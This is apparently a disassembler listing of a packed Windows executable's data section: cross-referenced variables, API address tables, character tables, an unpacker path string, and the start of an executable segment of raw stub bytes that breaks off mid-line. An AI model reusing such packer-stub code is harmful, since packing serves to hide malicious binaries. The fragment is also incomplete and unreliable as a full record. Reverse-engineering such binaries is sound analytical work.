sub_4019DB+C4r ; seg000:00406C24r ... dword_4CDC14 dd 1F7CB8F8h ; DATA XREF: sub_409A01+C1Bw ; sub_409A01+C47r dword_4CDC18 dd 77EBB1E7h ; DATA XREF: sub_409A01+3Ew ; sub_409A01+BAr ... dword_4CDC1C dd 77DD59F0h ; DATA XREF: start+49r sub_409A01+298w ... dword_4CDC20 dd 71AB5DE2h ; DATA XREF: sub_409A01+651w ; sub_409A01+78Cr ... dword_4CDC24 dd 71AB3ECEh ; DATA XREF: sub_409A01+637w ; sub_409A01+77Cr ... dword_4CDC28 dd 73B81B0Fh ; DATA XREF: seg000:00408DA4r ; sub_409A01+C92w dword_4CDC2C dd 76204E4Dh ; DATA XREF: sub_409A01+879w ; seg000:00416947r ... dword_4CDC30 dd 0 ; DATA XREF: sub_409A01+112w dword_4CDC34 dd 1F7D886Ah ; DATA XREF: sub_409A01+BE7w ; sub_409A01+C22r dword_4CDC38 dd 71AB12F8h ; DATA XREF: seg000:00404AF4r ; seg000:00407A06r ... dword_4CDC3C dd 77C76551h ; DATA XREF: sub_409A01+459w ; sub_409A01+4BBr ... dword_4CDC40 dd 77C729E2h ; DATA XREF: sub_409A01+49Aw ; sub_409A01+4E3r ... dword_4CDC44 dd 77C7212Fh ; DATA XREF: sub_409A01+466w ; sub_409A01+4C3r ... dword_4CDC48 dd 71AB1AF4h ; DATA XREF: sub_4019DB+7Cr ; seg000:00406C41r ... dword_4CDC4C dd 77D5E303h ; DATA XREF: sub_409A01+1A6w ; sub_409A01+1E2r ... dword_4CDC50 dd 71C4576Ch ; DATA XREF: sub_409A01+9F2w ; sub_409A01+A53r ... dword_4CDC54 dd 77D4702Fh ; DATA XREF: sub_409A01+158w ; sub_409A01+1ADr ... dword_4CDC58 dd 77E6C0E3h ; DATA XREF: sub_409A01+8Cw ; sub_409A01+E2r ... dword_4CDC5C dd 71AB1ED3h ; DATA XREF: sub_409A01+610w ; sub_409A01+764r ... dword_4CDC60 dd 71B2A381h ; DATA XREF: sub_409A01+B43w ; sub_409A01+B5Fr dword_4CDC64 dd 77DDA595h ; DATA XREF: sub_409A01+33Aw ; sub_419828+55r dword_4CDC68 dd 77DD22EAh ; DATA XREF: sub_409A01+27Ew ; sub_409A01+2D3r ... dword_4CDC6C dd 773F97B0h ; DATA XREF: sub_409A01+BAAw dword_4CDC70 dd 76D67A29h ; DATA XREF: sub_409A01+AECw ; sub_40AA20+8Fr dword_4CDC74 dd 76D674FAh ; DATA XREF: sub_409A01+ADFw ; sub_409A01+AE6r ... dword_4CDC78 dd 71AB3C22h ; DATA XREF: sub_401875+A6r ; seg000:00406BA0r ... dword_4CDC7C dd 71AB2BBFh ; DATA XREF: seg000:00406B92r ; seg000:004093A6r ... dword_4CDC80 dd 1F7BA3A9h ; DATA XREF: sub_409A01+BF4w ; sub_409A01+C2Fr dword_4CDC84 dd 71AB401Ch ; DATA XREF: seg000:004038C6r ; seg000:00407563r ... dword_4CDC88 dd 71C214BAh ; DATA XREF: sub_409A01+9B1w ; sub_409A01+A2Br ... dword_4CDC8C dd 71AB868Dh ; DATA XREF: sub_409A01+65Ew ; sub_409A01+794r ... dword_4CDC90 dd 71AB1A6Dh ; DATA XREF: sub_401132+12r ; sub_401875+D0r ... dword_4CDC94 dd 71AB155Ah ; DATA XREF: sub_409A01+59Bw ; sub_409A01+70Cr ... dword_4CDC98 dd 71B22C25h ; DATA XREF: sub_409A01+B36w ; sub_409A01+B57r dword_4CDC9C dd 71AB5A01h ; DATA XREF: sub_409A01+540w ; sub_409A01+6C4r ... dword_4CDCA0 dd 71B2ACCBh ; DATA XREF: sub_409A01+B29w ; sub_409A01+B4Ar ... dword_4CDCA4 dd 77E78C17h ; DATA XREF: seg000:00401288r ; sub_409A01+31w ... dword_4CDCA8 dd 77D49A11h ; DATA XREF: sub_409A01+17Fw ; sub_409A01+1CAr ... dword_4CDCAC dd 76D62A37h ; DATA XREF: sub_409A01+927w ; sub_409A01+93Br dword_4CDCB0 dd 77E6CBF9h ; DATA XREF: sub_409A01+99w ; sub_409A01+EAr ... dword_4CDCB4 dd 0 ; DATA XREF: sub_409A01:loc_409AFFw ; sub_409A01+12Bw ... dword_4CDCB8 dd 0 ; DATA XREF: sub_409A01+126w ; sub_40A6BD+1Cr dword_4CDCBC dd 0 ; DATA XREF: sub_409A01:loc_409BEFw ; sub_409A01:loc_409C56w ... dword_4CDCC0 dd 0 ; DATA XREF: sub_409A01+250w ; sub_40A6BD+50r dword_4CDCC4 dd 0 ; DATA XREF: seg000:00405F80r ; sub_409A01:loc_409D09w ... dword_4CDCC8 dd 0 ; DATA XREF: sub_409A01+41Ew ; sub_40A6BD+84r dword_4CDCCC dd 0 ; DATA XREF: sub_409A01:loc_409F05w ; sub_40A6BD:loc_40A76Dr dword_4CDCD0 dd 0 ; DATA XREF: sub_409A01+4FFw ; sub_40A6BD+B8r dword_4CDCD4 dd 0 ; DATA XREF: sub_409A01:loc_40A1D6w ; sub_40A6BD:loc_40A7A1r dword_4CDCD8 dd 0 ; DATA XREF: sub_409A01+7D0w ; sub_40A6BD+ECr dword_4CDCDC dd 0 ; DATA XREF: sub_409A01:loc_40A2C1w ; sub_409A01+8EFw ... dword_4CDCE0 dd 0 ; DATA XREF: sub_409A01+8EAw ; sub_40A6BD+120r dword_4CDCE4 dd 0 ; DATA XREF: seg000:loc_406ED3r ; sub_409A01:loc_40A355w ... dword_4CDCE8 dd 0 ; DATA XREF: sub_409A01+94Fw ; sub_40A6BD+154r dword_4CDCEC dd 0 ; DATA XREF: seg000:00405F88r ; sub_409A01:loc_40A471w ... dword_4CDCF0 dd 0 ; DATA XREF: sub_409A01+A6Bw ; sub_40A6BD+188r dword_4CDCF4 dd 0 ; DATA XREF: sub_409A01:loc_40A4BBw ; sub_40A6BD:loc_40A871r dword_4CDCF8 dd 0 ; DATA XREF: sub_409A01+AB5w ; sub_40A6BD+1BCr dword_4CDCFC dd 0 ; DATA XREF: sub_409A01:loc_40A505w ; sub_40A6BD:loc_40A8A5r dword_4CDD00 dd 0 ; DATA XREF: sub_409A01+AFFw ; sub_40A6BD+1F0r dword_4CDD04 dd 0 ; DATA XREF: sub_409A01:loc_40A579w ; sub_40A6BD:loc_40A8D9r dword_4CDD08 dd 0 ; DATA XREF: sub_409A01+B73w ; sub_40A6BD+224r dword_4CDD0C dd 0 ; DATA XREF: sub_409A01:loc_40A5C3w ; sub_40A6BD:loc_40A90Dr dword_4CDD10 dd 0 ; DATA XREF: sub_409A01+BBDw ; sub_40A6BD+258r dword_4CDD14 dd 0 ; DATA XREF: sub_409A01:loc_40A661w ; sub_40A6BD:loc_40A941r dword_4CDD18 dd 0 ; DATA XREF: sub_409A01+C5Bw ; sub_40A6BD+28Cr dword_4CDD1C dd 0 ; DATA XREF: sub_409A01:loc_40A6ABw ; sub_40A6BD:loc_40A975r dword_4CDD20 dd 0 ; DATA XREF: sub_409A01+CA5w ; sub_40A6BD+2C0r dword_4CDD24 dd 5 dup(0) ; DATA XREF: sub_40AAF8+32o dword_4CDD38 dd 0 ; DATA XREF: sub_40B8B2+18r ; sub_40BE55+92w ... dword_4CDD3C dd 0 ; DATA XREF: sub_40BF8E+1F7r ; seg000:0040C27Bw ... dd 7FEh dup(0) dword_4CFD38 dd 6 dup(0) ; DATA XREF: sub_40BF8E+C0o ; sub_40BF8E+129o ... dword_4CFD50 dd 0 ; DATA XREF: seg000:0040BBE0w ; seg000:0040BC76o dword_4CFD54 dd 0 ; DATA XREF: seg000:0040BC6Cw ; seg000:0040BC88r dword_4CFD58 dd 0 ; DATA XREF: seg000:0040BBEBw dword_4CFD5C dd 0 ; DATA XREF: seg000:0040BBD5w ; seg000:0040BC49r dword_4CFD60 dd 20h dup(0) ; DATA XREF: seg000:0040BBFEo ; seg000:0040BC30o dword_4CFDE0 dd 0 ; DATA XREF: seg000:0040BBF1w dword_4CFDE4 dd 0 ; DATA XREF: seg000:0040BC08w ; seg000:0040BC3Aw dword_4CFDE8 dd 0 ; DATA XREF: seg000:loc_40BDC2r align 10h dword_4CFDF0 dd 0 ; DATA XREF: seg000:0040B9ABw ; seg000:0040BA27o dword_4CFDF4 dd 41h dup(0) ; DATA XREF: seg000:0040B96Ao dword_4CFEF8 dd 41h dup(0) ; DATA XREF: seg000:0040B992o dword_4CFFFC dd 0 ; DATA XREF: seg000:0040BA1Dw ; seg000:0040BA39r dword_4D0000 dd 0 ; DATA XREF: seg000:0040B97Bw dword_4D0004 dd 0 ; DATA XREF: seg000:0040B976w ; seg000:0040B9FAr dword_4D0008 dd 20h dup(0) ; DATA XREF: seg000:0040B9C3o ; seg000:0040B9E0o dword_4D0088 dd 0 ; DATA XREF: seg000:0040B9B8w dword_4D008C dd 0 ; DATA XREF: seg000:0040B9CDw ; seg000:0040B9EAw dword_4D0090 dd 0 ; DATA XREF: seg000:loc_40BAF4r align 8 dword_4D0098 dd 0 ; DATA XREF: seg000:0040BABDw ; seg000:0040BB4Fo dword_4D009C dd 41h dup(0) ; DATA XREF: seg000:0040BA7Fo dword_4D01A0 dd 41h dup(0) ; DATA XREF: seg000:0040BAA4o dword_4D02A4 dd 0 ; DATA XREF: seg000:0040BB45w ; seg000:0040BB61r dword_4D02A8 dd 0 ; DATA XREF: seg000:0040BA92w dword_4D02AC dd 0 ; DATA XREF: seg000:0040BA8Dw ; seg000:0040BB22r dword_4D02B0 dd 20h dup(0) ; DATA XREF: seg000:0040BAD6o ; seg000:0040BB08o dword_4D0330 dd 0 ; DATA XREF: seg000:0040BAC9w dword_4D0334 dd 0 ; DATA XREF: seg000:0040BAE0w ; seg000:0040BB12w dword_4D0338 dd 0 ; DATA XREF: seg000:loc_40BC1Cr align 10h dword_4D0340 dd 0 ; DATA XREF: seg000:0040BD37w ; seg000:0040BD90o dword_4D0344 dd 0A2h dup(0) ; DATA XREF: seg000:0040BD25o dword_4D05CC dd 41h dup(0) ; DATA XREF: seg000:0040BCEFo dword_4D06D0 dd 0 ; DATA XREF: seg000:0040BD1Cw ; seg000:0040BD43r align 8 dword_4D06D8 dd 0 ; DATA XREF: seg000:0040BD86w ; seg000:0040BDA2r dword_4D06DC dd 0 ; DATA XREF: seg000:0040BD49w dword_4D06E0 dd 0 ; DATA XREF: seg000:0040BD56w dword_4D06E4 dd 0 ; DATA XREF: seg000:0040BD16w dd 0 dword_4D06EC dd 0 ; DATA XREF: seg000:loc_40BDD7r dword_4D06F0 dd 0 ; DATA XREF: sub_40B57B+Er ; sub_40B57B+31r dword_4D06F4 dd 0 ; DATA XREF: sub_40B57B+9r ; sub_40B57B+25r ... dword_4D06F8 dd 80h dup(0) ; DATA XREF: seg000:0040C486o dword_4D08F8 dd 2 dup(0) ; DATA XREF: sub_40CD4A+68o dword_4D0900 dd 2080Ah ; DATA XREF: sub_40D73E+8w ; sub_40D83A+2D9o dword_4D0904 dd 2 dup(0) ; DATA XREF: sub_40D83A+1FFo ; sub_40E3D2+EAo dword_4D090C dd 0 ; DATA XREF: seg000:0040E8A6r dd 0 dd 0 dword_4D0918 dd 0 ; DATA XREF: seg000:0040E879r dword_4D091C dd 0 ; DATA XREF: seg000:0040E85Br ; seg000:0040E8C4r dword_4D0920 dd 84D3h ; DATA XREF: seg000:0040BBCAr dword_4D0924 dd 0 ; DATA XREF: sub_40B5E6+1Br dword_4D0928 dd 0 ; DATA XREF: sub_40F360+2Aw ; sub_40F360+51r ... align 10h dword_4D0930 dd 0 ; DATA XREF: seg000:00410AC0r align 8 dword_4D0938 dd 0 ; DATA XREF: sub_41249E+4w ; sub_41249E+9o dd 109h dup(0) dword_4D0D60 dd 187h dup(0) ; DATA XREF: seg000:00404A6Ao ; seg000:loc_404B19o ... dword_4D137C dd 0 ; DATA XREF: seg000:00403494w ; seg000:00404A62r ... dd 0 byte_4D1384 db 0 ; DATA XREF: seg000:00414F73o ; seg000:00414F82w ... byte_4D1385 db 0 ; DATA XREF: seg000:00414F96w word_4D1386 dw 0 ; DATA XREF: seg000:00414FC7w word_4D1388 dw 0 ; DATA XREF: seg000:00414FAEw ; seg000:loc_415102w word_4D138A dw 0 ; DATA XREF: seg000:00414FCDw byte_4D138C db 0 ; DATA XREF: seg000:00414FBAw byte_4D138D db 0 ; DATA XREF: seg000:00414F8Fw word_4D138E dw 0 ; DATA XREF: seg000:00415122w ; seg000:0041514Cw dword_4D1390 dd 0 ; DATA XREF: seg000:loc_414FFBw ; seg000:004150CCr dword_4D1394 dd 0 ; DATA XREF: seg000:00415008w word_4D1398 dw 0 ; DATA XREF: seg000:004150C6w ; seg000:00415118o word_4D139A dw 0 ; DATA XREF: seg000:00415067w ; seg000:0041508Cr ... dword_4D139C dd 0 ; DATA XREF: seg000:0041503Ew ; seg000:00415109w dword_4D13A0 dd 0 ; DATA XREF: seg000:0041505Aw ; seg000:004150DDw ... byte_4D13A4 db 0 ; DATA XREF: seg000:00415043r ; seg000:00415051w byte_4D13A5 db 0 ; DATA XREF: seg000:0041500Dw ; seg000:004150D6w ... word_4D13A6 dw 0 ; DATA XREF: seg000:0041501Bw word_4D13A8 dw 0 ; DATA XREF: seg000:00415129w ; seg000:0041515Aw word_4D13AA dw 0 ; DATA XREF: seg000:00415060w word_4D13AC dw 0 ; DATA XREF: seg000:00415092w ; seg000:00415162o word_4D13AE dw 0 ; DATA XREF: seg000:004150A1w ; seg000:00415139w dword_4D13B0 dd 0 ; DATA XREF: seg000:0041509Bw dd 2 dup(0) dword_4D13BC dd 0 ; DATA XREF: seg000:004150D1w ; seg000:00415147o dword_4D13C0 dd 0 ; DATA XREF: seg000:0041506Dw byte_4D13C4 db 0 ; DATA XREF: seg000:00415073w byte_4D13C5 db 0 ; DATA XREF: seg000:00415079w word_4D13C6 dw 0 ; DATA XREF: seg000:00415086w dword_4D13C8 dd 6 dup(0) ; DATA XREF: seg000:0041511Do dword_4D13E0 dd 0 ; DATA XREF: seg000:00414D7Bw ; seg000:0041516Br align 8 dword_4D13E8 dd 100h dup(0) ; DATA XREF: seg000:00414EF7o ; seg000:004151AEo dword_4D17E8 dd 0A5Ah dup(0) ; DATA XREF: sub_4152AE+1Do ; sub_41534Eo ... db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: seg002:off_43A494o dd 5A5h dup(0) dword_4D57E8 dd 0 ; DATA XREF: sub_4152AE+13o ; sub_41534E+Eo ... dword_4D57EC dd 0Dh dup(0) ; DATA XREF: sub_416994+Fo dword_4D5820 dd 80h dup(0) ; DATA XREF: sub_417640+41o dword_4D5A20 dd 200h dup(0) ; DATA XREF: sub_416F7D+C7o ; sub_4172D8+DDo ... dword_4D6220 dd 200h dup(0) ; DATA XREF: sub_416F7D+D6o ; sub_4172D8+F4o ... dword_4D6A20 dd 0 ; DATA XREF: sub_416F7D+86w ; sub_41714F+94r dword_4D6A24 dd 0 ; DATA XREF: sub_416F7D+A7w ; sub_4175A9+55r ... dword_4D6A28 dd 0 ; DATA XREF: sub_416F7D+A0w ; sub_41714F+D6r ... dword_4D6A2C dd 0 ; DATA XREF: sub_416F7D+79w ; sub_41714F+35r ... dword_4D6A30 dd 80h dup(0) ; DATA XREF: sub_4175A9+5Eo dword_4D6C30 dd 0 ; DATA XREF: sub_416F7D+93w ; sub_41714F+A2r dword_4D6C34 dd 0 ; DATA XREF: sub_416F7D+E7o ; sub_416F7D+103r ... dword_4D6C38 dd 0 ; DATA XREF: sub_4172D8+178w ; sub_41747C+107w dword_4D6C3C dd 0 ; DATA XREF: sub_4172D8+17Dw ; sub_41747C+10Dw ... dword_4D6C40 dd 0 ; DATA XREF: sub_4172D8+156w ; sub_4175A9+4Fr align 8 dword_4D6C48 dd 0 ; DATA XREF: sub_41791B+29w ; sub_41791B:loc_417A9Aw ... dword_4D6C4C dd 0 ; DATA XREF: seg000:004057AEo ; sub_4177DF+12o ... dd 0 dword_4D6C54 dd 0 ; DATA XREF: sub_41791B+21r ; sub_417ABA+3Ar dd 7Fh dup(0) dword_4D6E54 dd 0 ; DATA XREF: sub_41791B+1Br ; sub_417ABA+4Aw dd 1944h dup(0) dword_4DD368 dd 0 ; DATA XREF: sub_417ABA+23o ; sub_418330+6Ao dword_4DD36C dd 7Fh dup(0) ; DATA XREF: seg000:004057CCo ; sub_4177DF+3Co dword_4DD568 dd 98h dup(0) ; DATA XREF: sub_4189D8:loc_418AF5o ; sub_4189D8+131o ... dword_4DD7C8 dd 0 ; DATA XREF: sub_418D55+45w ; sub_418D55+4Dr ... align 10h dword_4DD7D0 dd 18h dup(0) ; DATA XREF: sub_419636:loc_419758o ; sub_419636+12Do dword_4DD830 dd 80h dup(0) ; DATA XREF: sub_418C96+4Bo ; sub_418C96+7Do ... byte_4DDA30 db 0 ; DATA XREF: sub_418D55+29r ; sub_418D55+34w align 8 dword_4DDA38 dd 80h dup(0) ; DATA XREF: sub_418FAC+61o ; sub_418FAC+88o ... dword_4DDC38 dd 80h dup(0) ; DATA XREF: sub_4188AF+33o ; sub_4188AF+50o ... dword_4DDE38 dd 0 ; DATA XREF: sub_419BEB:loc_419C0Cr dword_4DDE3C dd 0 ; DATA XREF: sub_419BEBr ; seg000:00419D11r dword_4DDE40 dd 0 ; DATA XREF: sub_419C1B+1Ar ; seg000:00419EB2o dword_4DDE44 dd 0 ; DATA XREF: sub_419BEB:loc_419BFFr dword_4DDE48 dd 0Eh dup(0) ; DATA XREF: seg000:00419CEDo dword_4DDE80 dd 0Dh dup(0) ; DATA XREF: sub_41AA78+3Eo dword_4DDEB4 dd 0 ; DATA XREF: sub_41BDAD+1B9w ; seg000:loc_41D489w ... dword_4DDEB8 dd 0 ; DATA XREF: sub_41D5DE+35w ; sub_41DC92:loc_41DD2Cw ... dword_4DDEBC dd 0 ; DATA XREF: sub_423C7E+13Ar dword_4DDEC0 dd 0A28h ; DATA XREF: seg000:0041DBA5w dword_4DDEC4 dd 501h ; DATA XREF: seg000:0041DB9Cw dword_4DDEC8 dd 5 ; DATA XREF: seg000:0041DB91w dword_4DDECC dd 1 ; DATA XREF: seg000:0041DB83w dword_4DDED0 dd 1 ; DATA XREF: sub_423287+91w dword_4DDED4 dd 0B50B20h ; DATA XREF: sub_423287+89w dd 0 dword_4DDEDC dd 0B50B48h ; DATA XREF: sub_4231CE+44w ; sub_425D17+9r ... dword_4DDEE0 dd 0 ; DATA XREF: sub_4263D0+36r dword_4DDEE4 dd 0 ; DATA XREF: sub_425D17+16r ; sub_4260E5+4r ... dd 0 off_4DDEEC dd offset aCM_unpackerPac ; DATA XREF: sub_423287+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4DDEF4 db 0 ; DATA XREF: sub_41B9C3+2Dw ; sub_4229F0+5r align 4 dword_4DDEF8 dd 0 ; DATA XREF: sub_41B9C3+27w dword_4DDEFC dd 0 ; DATA XREF: sub_41B9C3+4r ; sub_41B9C3+8Bw dword_4DDF00 dd 0 ; DATA XREF: sub_41C2E4+3Br ; sub_41C2E4+91w align 8 dword_4DDF08 dd 0 ; DATA XREF: sub_41C938+Aw dd 7 dup(0) dword_4DDF28 dd 0 ; DATA XREF: seg000:0041DBD7w ; sub_4231CE:loc_4231E0r ... align 10h dword_4DDF30 dd 0 ; DATA XREF: sub_41DC49r sub_41DC6Er ... dword_4DDF34 dd 0 ; DATA XREF: sub_41ED30+4Bw ; sub_41EE49+2Dw ... dword_4DDF38 dd 0 ; DATA XREF: sub_41F532r dword_4DDF3C dd 0 ; DATA XREF: sub_41B3F2:loc_41B50Er ; sub_41B3F2:loc_41B62Fr ... dword_4DDF40 dd 1 ; DATA XREF: sub_4200C9:loc_420244r ; sub_420262+4w ... dword_4DDF44 dd 0 ; DATA XREF: sub_420666+37r dd 0 dword_4DDF4C dd 0 ; DATA XREF: sub_421BF9+11r ; sub_421CFD+1Ar ... byte_4DDF50 db 0 ; DATA XREF: sub_421BF9+3r ; sub_421BF9+98r ... align 4 dword_4DDF54 dd 0 ; DATA XREF: sub_421CFD+11r ; sub_421DDB+21w ... byte_4DDF58 db 0 ; DATA XREF: sub_421DDB+51w align 4 dword_4DDF5C dd 0 ; DATA XREF: sub_421FD1+4Er ; sub_4223AC+3Ar ... dword_4DDF60 dd 0 ; DATA XREF: sub_421FD1+5Cr ; sub_4223AC+43r ... dword_4DDF64 dd 0 ; DATA XREF: sub_41CBBE+7Ar ; sub_422178+5r dword_4DDF68 dd 0 ; DATA XREF: sub_42277C+29r dword_4DDF6C dd 2 dup(0) ; DATA XREF: sub_41D350+Co dword_4DDF74 dd 0 ; DATA XREF: sub_41D7CA+4r ; sub_41D7CA+6Er ... dd 3 dup(0) dword_4DDF84 dd 0 ; DATA XREF: sub_41DA54+61r ; sub_41DA54+BFr ... dd 0 dword_4DDF8C dd 0 ; DATA XREF: sub_41F54D+154w ; sub_420666:loc_42068Fw ... dword_4DDF90 dd 1 ; DATA XREF: seg000:00422DCBr ; seg000:00422DEFw ... dword_4DDF94 dd 0 ; DATA XREF: sub_422FF2+3Ar ; sub_422FF2+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_423287:loc_42329Eo ; seg002:off_4DDEECo align 4 dd 3Ah dup(0) dword_4DE09C dd 1 ; DATA XREF: sub_4234D4+2r ; sub_4234D4+23w ... dword_4DE0A0 dd 0 ; DATA XREF: sub_423894+21r dword_4DE0A4 dd 0 ; DATA XREF: sub_41F54D+7r dword_4DE0A8 dd 1 ; DATA XREF: seg000:00423F5Dr ; seg000:loc_423FA1w align 10h word_4DE0B0 dw 0 ; DATA XREF: sub_424839+1Ao ; sub_424839+46r byte_4DE0B2 db 0 ; DATA XREF: sub_424839+39r align 4 dword_4DE0B4 dd 7 dup(0) ; DATA XREF: sub_424839+52o dword_4DE0D0 dd 0 ; DATA XREF: sub_424839+40w ; sub_424839+5Co dword_4DE0D4 dd 0 ; DATA XREF: sub_424839+4Dw dword_4DE0D8 dd 0 ; DATA XREF: sub_424839+31w dword_4DE0DC dd 0 ; DATA XREF: sub_424839+52w dword_4DE0E0 dd 77C26E79h ; DATA XREF: sub_42495C:loc_42497Fr ; sub_42495C+38r ... align 8 dword_4DE0E8 dd 0 ; DATA XREF: sub_424A3C+11w ; sub_424A3C+63w ... align 10h dword_4DE0F0 dd 0 ; DATA XREF: sub_424A3C+33o ; sub_424A3C+46r dword_4DE0F4 dd 10h dup(0) ; DATA XREF: sub_424A3C+C1o word_4DE134 dw 0 ; DATA XREF: sub_424C9A+A8r word_4DE136 dw 0 ; DATA XREF: sub_424A3C+54r ; sub_424C9A+DBr ... word_4DE138 dw 0 ; DATA XREF: sub_424C9A+CAr word_4DE13A dw 0 ; DATA XREF: sub_424C9A+D3r ; sub_424C9A:loc_424D8Cr word_4DE13C dw 0 ; DATA XREF: sub_424C9A+C0r word_4DE13E dw 0 ; DATA XREF: sub_424C9A+B8r word_4DE140 dw 0 ; DATA XREF: sub_424C9A+B0r word_4DE142 dw 0 ; DATA XREF: sub_424C9A+9Er dword_4DE144 dd 0 ; DATA XREF: sub_424A3C+4Br dword_4DE148 dd 10h dup(0) ; DATA XREF: sub_424A3C+FBo word_4DE188 dw 0 ; DATA XREF: sub_424C9A+46r word_4DE18A dw 0 ; DATA XREF: sub_424A3C:loc_424AB3r ; sub_424C9A+78r ... word_4DE18C dw 0 ; DATA XREF: sub_424C9A+67r word_4DE18E dw 0 ; DATA XREF: sub_424C9A+70r ; sub_424C9A:loc_424D1Er word_4DE190 dw 0 ; DATA XREF: sub_424C9A+5Dr word_4DE192 dw 0 ; DATA XREF: sub_424C9A+55r word_4DE194 dw 0 ; DATA XREF: sub_424C9A+4Dr word_4DE196 dw 0 ; DATA XREF: sub_424C9A+3Er dword_4DE198 dd 0 ; DATA XREF: sub_424A3C+80r dword_4DE19C dd 0 ; DATA XREF: sub_424A3C+132r ; sub_424A3C:loc_424B88r ... dword_4DE1A0 dd 0 ; DATA XREF: sub_424A27r sub_424A27+Ew dword_4DE1A4 dd 0 ; DATA XREF: sub_4250D1+3r ; sub_4250D1+2Ew ... dword_4DE1A8 dd 0 ; DATA XREF: sub_4250D1+43w ; sub_4250D1:loc_425120r dword_4DE1AC dd 0 ; DATA XREF: sub_4250D1+4Aw ; sub_4250D1+60r dword_4DE1B0 dd 0 ; DATA XREF: sub_423C7E+3Fr dword_4DE1B4 dd 0 ; DATA XREF: sub_425BA5:loc_425C0Cr ; sub_425BA5+6Do dword_4DE1B8 dd 0 ; DATA XREF: sub_425BA5:loc_425BE3r ; sub_425BA5+44o dword_4DE1BC dd 0 ; DATA XREF: sub_425BA5:loc_425BD6r ; sub_425BA5+37o dword_4DE1C0 dd 0 ; DATA XREF: sub_425BA5:loc_425BF0r ; sub_425BA5+51o align 8 dword_4DE1C8 dd 0 ; DATA XREF: sub_426153+28r ; sub_426153+48w ... dword_4DE1CC dd 0 ; DATA XREF: sub_426C4A+28r ; sub_426C4A+4Cw ... dword_4DE1D0 dd 0 ; DATA XREF: sub_426ED5+26r ; sub_426ED5:loc_426F3Fw byte_4DE1D4 db 1 ; DATA XREF: sub_40D6BAr sub_40D6BA+9w ... align 10h dword_4DE1E0 dd 0B50650h ; DATA XREF: sub_41F263+75r ; sub_41F33C+2Ar ... dword_4DE1E4 dd 3Fh dup(0) ; DATA XREF: seg000:00423698o dword_4DE2E0 dd 20h ; DATA XREF: sub_41DC92+8r ; sub_41F33C+Cr ... dword_4DE2E4 dd 0B51110h ; DATA XREF: sub_41DE10:loc_41DE21r ; sub_41F6BD+14r ... dd 6 dup(0) dword_4DE300 dd 400h dup(0) ; DATA XREF: seg002:off_43F558o ; seg002:0043F560o dword_4DF300 dd 200h ; DATA XREF: sub_41DE10+9r ; sub_41DE10+56r ... dword_4DF304 dd 4E4h ; DATA XREF: sub_4200C9+14r ; sub_4200C9+65w ... align 10h dword_4DF310 dd 3 dup(0) ; DATA XREF: sub_4200C9+123o ; sub_4200C9+171o ... dword_4DF31C dd 0 ; DATA XREF: sub_4200C9+108w ; sub_4200C9+15Dw ... byte_4DF320 db 0 ; DATA XREF: seg000:loc_420414w ; seg000:loc_420431w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DF420 db 0 ; DATA XREF: sub_4200C9+5Co ; sub_4200C9+AFo ... byte_4DF421 db 0 ; DATA XREF: sub_41BBC1+5Dr ; sub_4200C9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DF524 dd 0 ; DATA XREF: sub_4200C9+6Ew ; sub_4200C9+12Bw ... dword_4DF528 dd 0 ; DATA XREF: sub_41E04F+3Cw ; sub_41E6F4+5r ... dword_4DF52C dd 0 ; DATA XREF: sub_41E0C2+23Ar ; sub_41E0C2+25Ar ... dword_4DF530 dd 0 ; DATA XREF: sub_41E04F+31w ; sub_41E0C2+311w ... dword_4DF534 dd 0 ; DATA XREF: sub_41E04F+21w ; sub_41E0C2+22Dr ... dword_4DF538 dd 0 ; DATA XREF: sub_41E04F+28w ; sub_41E097r ... dword_4DF53C dd 0 ; DATA XREF: sub_41E04F+15w ; sub_41E097+8r ... dword_4DF540 dd 0 ; DATA XREF: sub_41B3F2+5Cr ; sub_41B703+Fr ... dword_4DF544 dd 0B50000h ; DATA XREF: sub_41B2A1+5Ar ; sub_41B3F2+C0r ... dword_4DF548 dd 1 ; DATA XREF: sub_41B2A1+Cr ; sub_41B3F2:loc_41B422r ... dword_4DF54C dd 142340h ; DATA XREF: seg000:0041DBCDw ; seg000:00423185r ... dword_4DF550 dd 1 ; DATA XREF: sub_4231CE+ADw ; sub_425D17r dword_4DF554 dd 1 ; DATA XREF: sub_42048Dr ; sub_42048D+11w ... dword_4DF558 dd 0B50764h ; DATA XREF: sub_41B9C3+3Er ; sub_41D1C3+13r ... dword_4DF55C dd 0B50758h ; DATA XREF: sub_41B9C3+35r ; sub_41B9C3+57r ... byte_4DF560 db 1 ; DATA XREF: sub_4269D4+15r ; sub_4269D4+1Ew align 1000h seg002 ends ; Section 4. (virtual address 000E0000) ; Virtual size : 0001C000 ( 114688.) ; Section size in file : 0001C000 ( 114688.) ; Offset to raw data for section: 000E0000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _data segment para public 'CODE' use32 assume cs:_data ;org 4E0000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing db 90h db 60h, 0E8h, 3 dword_4E0004 dd 0E9000000h, 455D04EBh, 1E8C355h, 0EB000000h, 0FFEDBB5Dh dd 0DD03FFFFh, 0EB81h, 7D80000Eh, 0C75014Dh, 2824748Bh dd 8901FE83h, 31754E5Dh, 